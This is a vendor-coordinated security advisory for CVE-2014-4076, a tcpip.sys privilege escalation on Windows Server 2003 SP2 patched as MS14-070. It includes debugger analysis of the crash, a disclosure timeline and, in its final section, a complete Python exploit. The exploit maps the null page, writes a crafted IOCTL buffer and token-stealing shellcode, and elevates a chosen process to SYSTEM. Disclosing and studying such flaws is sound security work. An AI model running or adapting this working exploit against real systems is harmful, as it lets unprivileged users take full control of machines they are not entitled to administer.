Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation

`KL-001-2015-001 : Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation  
  
Title: Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation  
Advisory ID: KL-001-2015-001  
Publication Date: 2015.01.28  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt  
  
1. Vulnerability Details  
  
Affected Vendor: Microsoft  
Affected Product: TCP/IP Protocol Driver  
Affected Version: 5.2.3790.4573  
Platform: Microsoft Windows Server 2003 Service Pack 2  
Architecture: x86, x64, Itanium  
Impact: Privilege Escalation  
Attack vector: IOCTL  
CVE-ID: CVE-2014-4076  
  
2. Vulnerability Description  
  
The tcpip.sys driver fails to sufficiently validate memory  
objects used during the processing of a user-provided IOCTL.  
  
3. Technical Description  
  
By crafting an input buffer that will be passed to the Tcp  
device through the NtDeviceIoControlFile() function, it  
is possible to trigger a vulnerability that would allow an  
attacker to elevate privileges.  
  
This vulnerability was discovered while fuzzing the tcpip.sys  
driver. A collection of IOCTLs that could be targeted was  
obtained and subsequently fuzzed. During this process, one of  
the crashes obtained originated from the IOCTL 0x00120028.  
This was performed on an x86 installation of Windows Server  
2003, Service Pack 2.  
  
ErrCode = 00000000  
eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270  
eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0 nv up ei pl zr na pe nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246  
tcpip!SetAddrOptions+0x1d:  
f67ebbbd 8b5e28 mov ebx,dword ptr [esi+28h] ds:0023:00000028=????????  
  
A second chance exception has occurred during a mov  
instruction. This instruction is attempting to copy a pointer  
value from an un-allocated address space. Since no pointer  
can be found, an exception is generated.  
  
Let's begin by reviewing the call stack:  
  
kd> kv  
*** Stack trace for last set context - .thread/.cxr resets it  
ChildEBP RetAddr Args to Child   
f620a9dc f67e416b f620aa34 00000022 00000004 tcpip!SetAddrOptions+0x1d (FPO: [Non-Fpo])  
f620aa10 f67e40de f620aa34 859ef888 859ef8a0 tcpip!TdiSetInformationEx+0x539 (FPO: [Non-Fpo])  
f620aa44 f67e3b24 85a733d0 85a73440 85a73440 tcpip!TCPSetInformationEx+0x8c (FPO: [Non-Fpo])  
f620aa60 f67e3b51 85a733d0 85a73440 85a733d0 tcpip!TCPDispatchDeviceControl+0x149 (FPO: [Non-Fpo])  
f620aa98 8081d7d3 85c4b410 85a733d0 85e82390 tcpip!TCPDispatch+0xf9 (FPO: [Non-Fpo])  
f620aaac 808ef85d 85a73440 85e82390 85a733d0 nt!IofCallDriver+0x45 (FPO: [Non-Fpo])  
f620aac0 808f05ff 85c4b410 85a733d0 85e82390 nt!IopSynchronousServiceTail+0x10b (FPO: [Non-Fpo])  
f620ab5c 808e912e 000006f4 00000000 00000000 nt!IopXxxControlFile+0x5e5 (FPO: [Non-Fpo])  
f620ab90 f55c10fa 000006f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo])  
  
The nt!NtDeviceIoControlFile() function was called, creating  
a chain of subsequent function calls that eventually led to  
the tcpip!SetAddrOptions() function being called.  
  
By de-constructing the call to nt!NtDeviceIoControlFile() we  
can derive all required information to re-create this exception.  
  
0a b940dd34 80885614 nt!NtDeviceIoControlFile+0x2a  
eax=00000000 ebx=8c785070 ecx=00000000 edx=00000000 esi=00000000 edi=00000000  
eip=808e912e esp=b940dd08 ebp=b940dd34 iopl=0 nv up ei pl zr na pe nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246  
nt!NtDeviceIoControlFile+0x2a:  
808e912e 5d pop ebp  
kd> db [ebp+2C] L?0x4  
b940dd60 00 00 00 00 ....  
kd> db [ebp+28] L?0x4  
b940dd5c 00 00 00 00 ....  
kd> db [ebp+24] L?0x4  
b940dd58 20 00 00 00 ...  
kd> db [ebp+20] L?0x4  
b940dd54 00 11 00 00 ....  
kd> db [ebp+1c] L?0x4  
b940dd50 28 00 12 00 (...  
kd> db [ebp+18] L?0x4  
b940dd4c 58 4f bd 00 XO..  
kd> db [ebp+14] L?0x4  
b940dd48 00 00 00 00 ....  
kd> db [ebp+10] L?0x4  
b940dd44 00 00 00 00 ....  
kd> db [ebp+0c] L?0x4  
b940dd40 00 00 00 00 ....  
kd> db [ebp+8] L?0x4  
b940dd3c b8 06 00 00 ....  
  
The inputBuffer for this call references memory at 0x1000 with  
a length of 0x20.  
  
kd> db 0x1100 L?0x20  
00001100 00 04 00 00 00 00 00 00-00 02 00 00 00 02 00 00 ................  
00001110 22 00 00 00 04 00 00 00-00 00 01 00 00 00 00 00 "...............  
  
After review of the tcpip.sys driver, some memory trickery  
was created to control the code flow until the instruction  
pointer could be controlled in a way that would be beneficial  
to an attacker.  
  
kd> db 0x28 L?0x11  
00000028 87 ff ff 38 00 00 00 00-00 00 00 00 00 00 00 00 ...8............  
00000038 01   
  
eax=00000000 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000  
eip=0000002a esp=b940db3c ebp=b940db60 iopl=0 nv up ei pl zr na pe nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246  
0000002a ff ???  
  
Since the instruction pointer now contains 0x0000002a,  
exploitation becomes trivial. Merely allocating the desired  
payload for execution at this memory address will allow for  
unprivileged users to run their payload within a privileged  
process.  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has issued a patch for this  
vulnerability, the details of which are presented  
in the vendor's public acknowledgment MS14-070  
(https://technet.microsoft.com/library/security/MS14-070).  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin of KoreLogic  
Security, Inc.  
  
6. Disclosure Timeline  
  
2014.04.28 - Initial contact; sent Microsoft report and PoC.  
2014.04.28 - Microsoft requests PoC.  
2014.04.29 - KoreLogic resends PoC from the initial contact  
email.  
2014.04.29 - Microsoft acknowledges receipt of vulnerability  
report.  
2014.04.29 - Microsoft opens case 19010 (MSRC 0050929) to  
investigate the vulnerability.  
2014.04.30 - Microsoft informs KoreLogic that the case is  
actively being investigated.  
2014.05.30 - Microsoft informs KoreLogic that the case is  
actively being investigated.  
2014.06.11 - KoreLogic informs Microsoft that 30 business days  
have passed since vendor acknowledgment of the  
initial report. KoreLogic requests CVE number for  
the vulnerability, if there is one. KoreLogic  
also requests vendor's public identifier for the  
vulnerability along with the expected disclosure  
date.  
2014.06.24 - KoreLogic informs Microsoft that no response was  
received following the 06.11.14 email. KoreLogic  
requests CVE number for the vulnerability, if  
there is one. KoreLogic also requests vendor's  
public identifier for the vulnerability along with  
the expected disclosure date.  
2014.06.24 - Microsoft replies to KoreLogic that they have  
reproduced the vulnerability and are determining  
how to proceed with the supplied information.  
They are not able to provide a CVE or an expected  
disclosure date.  
2014.07.02 - 45 business days have elapsed since Microsoft  
acknowledged receipt of the vulnerability report  
and PoC.  
2014.07.17 - KoreLogic requests CVE number for the  
vulnerability. KoreLogic also requests vendor's  
public identifier for the vulnerability along with  
the expected disclosure date.  
2014.08.18 - Microsoft notifies KoreLogic that they have a CVE  
but are not willing to share it with KoreLogic at  
this time.  
2014.09.08 - KoreLogic requests CVE number for the  
vulnerability. KoreLogic also requests vendor's  
public identifier for the vulnerability along with  
the expected disclosure date.  
2014.09.11 - Microsoft responds saying that the vulnerability  
is expected to be disclosed in "a Fall release"  
and that "it is currently looking good for  
October." Does not provide CVE.  
2014.09.24 - Microsoft informs KoreLogic that there was a  
packaging issue and that the patch will be pushed  
to November.  
2014.11.03 - Microsoft confirms the patch will ship in November.  
2014.11.11 - Vulnerability publicly disclosed by Microsoft as  
issue MS14-070 with CVE-2014-4076.  
2015.01.28 - KoreLogic releases advisory.  
  
7. Exploit  
  
#!/usr/bin/python2  
#  
# KL-001-2015-001 / MS14-070 / CVE-2014-4076  
# Microsoft Windows Server 2003 x86 Tcpip.sys Privilege Escalation  
# Matt Bergin @ KoreLogic / Level @ Smash the Stack  
# shout out to bla  
#  
  
from optparse import OptionParser  
from subprocess import Popen  
from os.path import exists  
from struct import pack  
from time import sleep  
from ctypes import *  
from sys import exit  
  
CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory = windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory  
DeviceIoControlFile,CloseHandle = windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle  
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0  
  
def spawn_process(path):  
process = Popen([path],shell=True)  
pid = process.pid  
return  
  
def main():  
print "CVE-2014-4076 x86 exploit, Level\n"  
global pid, process  
parser = OptionParser()  
parser.add_option("--path",dest="path",help="path of process to start and elevate")  
parser.add_option("--pid",dest="pid",help="pid of running process to elevate")  
o,a = parser.parse_args()  
if (o.path == None and o.pid == None):  
print "[!] no path or pid set"  
exit(1)  
else:  
if (o.path != None):  
if (exists(o.path) != True):  
print "[!] path does not exist"  
exit(1)  
else:  
Thread(target=spawn_process,args=(o.path),name='attacker-cmd').start()  
if (o.pid != None):  
try:  
pid = int(o.pid)  
except:  
print "[!] could not convert PID to an interger."  
exit(1)  
while True:  
if ("pid" not in globals()):  
sleep(1)  
else:  
print "[+] caught attacker cmd at %s, elevating now" % (pid)  
break  
buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"  
sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00"  
sc = sc.replace("\x41\x41\x41\x41",pack('<L',pid))  
sc = sc.replace("\x11\x11\x11\x11","\x39\xff\xa2\xba")  
sc = sc.replace("\x22\x22\x22\x22","\x00\x00\x00\x00")   
handle = CreateFileA("\\\\.\\Tcp",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)  
if (handle == -1):  
print "[!] could not open handle into the Tcp device"  
exit(1)  
print "[+] allocating memory"   
ret_one = NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x4000)),0x1000|0x2000,0x40)  
if (ret_one != 0):  
print "[!] could not allocate memory..."  
exit(1)  
print "[+] writing relevant memory..."  
ret_two = WriteProcessMemory(-1, 0x28, "\x87\xff\xff\x38", 4, byref(c_int(0)))  
ret_three = WriteProcessMemory(-1, 0x38, "\x00"*2, 2, byref(c_int(0)))  
ret_four = WriteProcessMemory(-1, 0x1100, buf, len(buf), byref(c_int(0)))  
ret_five = WriteProcessMemory(-1, 0x2b, "\x00"*2, 2, byref(c_int(0)))  
ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))  
print "[+] attack setup done, crane kick!"  
DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0)  
CloseHandle(handle)  
exit(0)  
  
if __name__=="__main__":  
main()  
  
The contents of this advisory are copyright(c) 2015  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt  
  
`